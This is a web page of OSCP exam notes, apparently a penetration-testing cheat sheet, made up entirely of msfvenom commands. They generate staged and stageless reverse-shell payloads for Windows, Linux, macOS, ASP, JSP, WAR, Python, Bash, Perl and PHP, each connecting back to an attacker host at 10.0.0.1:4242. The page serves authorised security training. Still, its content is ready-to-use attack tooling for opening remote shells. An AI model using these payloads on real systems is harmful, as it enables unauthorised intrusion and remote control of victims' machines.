OSCP Notes
Search…
Msfvenom

Windows Staged reverse TCP

1
msfvenom -p windows/shell/reverse_tcp LHOST=10.0.0.1 LPORT=4242 -f exe > reverse.exe
Copied!

Windows Stageless reverse TCP

1
msfvenom -p windows/shell_reverse_tcp LHOST=10.0.0.1 LPORT=4242 -f exe > reverse.exe
Copied!

Linux Staged reverse TCP

1
msfvenom -p linux/x86/shell/reverse_tcp LHOST=10.0.0.1 LPORT=4242 -f elf >reverse.elf
Copied!

Linux Stageless reverse TCP

1
msfvenom -p linux/x86/shell_reverse_tcp LHOST=10.0.0.1 LPORT=4242 -f elf >reverse.elf
Copied!

Other platforms

1
$ msfvenom -p linux/x86/shell/reverse_tcp LHOST="10.0.0.1" LPORT=4242 -f elf > shell.elf
2
$ msfvenom -p windows/shell/reverse_tcp LHOST="10.0.0.1" LPORT=4242 -f exe > shell.exe
3
$ msfvenom -p osx/x86/shell_reverse_tcp LHOST="10.0.0.1" LPORT=4242 -f macho > shell.macho
4
$ msfvenom -p windows/shell/reverse_tcp LHOST="10.0.0.1" LPORT=4242 -f asp > shell.asp
5
$ msfvenom -p java/jsp_shell_reverse_tcp LHOST="10.0.0.1" LPORT=4242 -f raw > shell.jsp
6
$ msfvenom -p java/jsp_shell_reverse_tcp LHOST="10.0.0.1" LPORT=4242 -f war > shell.war
7
$ msfvenom -p cmd/unix/reverse_python LHOST="10.0.0.1" LPORT=4242 -f raw > shell.py
8
$ msfvenom -p cmd/unix/reverse_bash LHOST="10.0.0.1" LPORT=4242 -f raw > shell.sh
9
$ msfvenom -p cmd/unix/reverse_perl LHOST="10.0.0.1" LPORT=4242 -f raw > shell.pl
10
$ msfvenom -p php/shell_reverse_tcp LHOST="10.0.0.1" LPORT=4242 -f raw > shell.php; cat shell.php | pbcopy && echo '<?php ' | tr -d '\n' > shell.php && pbpaste >> shell.php
Copied!
Last modified 1yr ago